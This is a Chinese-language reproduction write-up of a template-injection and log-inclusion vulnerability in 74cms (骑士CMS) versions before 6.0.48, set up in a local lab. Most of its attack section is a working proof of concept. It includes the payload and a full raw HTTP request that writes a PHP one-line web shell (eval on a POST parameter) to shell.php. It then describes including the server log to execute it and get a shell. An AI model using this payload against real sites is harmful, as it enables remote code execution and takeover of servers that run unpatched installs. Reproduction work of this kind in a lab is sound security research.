00X1 测试环境
骑士 CMS 6.0.48以下均存在此漏洞，本文复现使用骑士cms 6.0.20，下载地址：
http://www.74cms.com/download/index.html
注意骑士cms不支持php7.x，复现php环境为php5.6。安装包下载完毕后直接在phpstudy下，访问upload/install.php进行安装，根据提示逐步安装即可。
00X2 漏洞复现
1.模板注入写入文件，POC
http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl= fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>"); ob_flush();/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
请求包：
POST /74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: 192.168.23.128Content-Length: 155Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.23.128Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.23.128/74cms_v6.0.20/upload/index.php?m=home&a=assign_resume_tplAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,vi;q=0.8,id;q=0.7Cookie: PHPSESSID=ktl5a9hhct39p0vsnh7pjc2nhn; think_language=zh-CN; think_template=defaultConnection: closevariable=1&tpl= fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>"); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
根据报错，发现日志已经记录了错误，日志物理路径：
phpstudy_proWWWdataRuntimeLogsHome日志文件名根据日期命名：
2.包含日志文件getshell
poc：

包含文件的内容为：
fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")在根目录下写入shell.php文件，内容为一句话木马，包含成功：
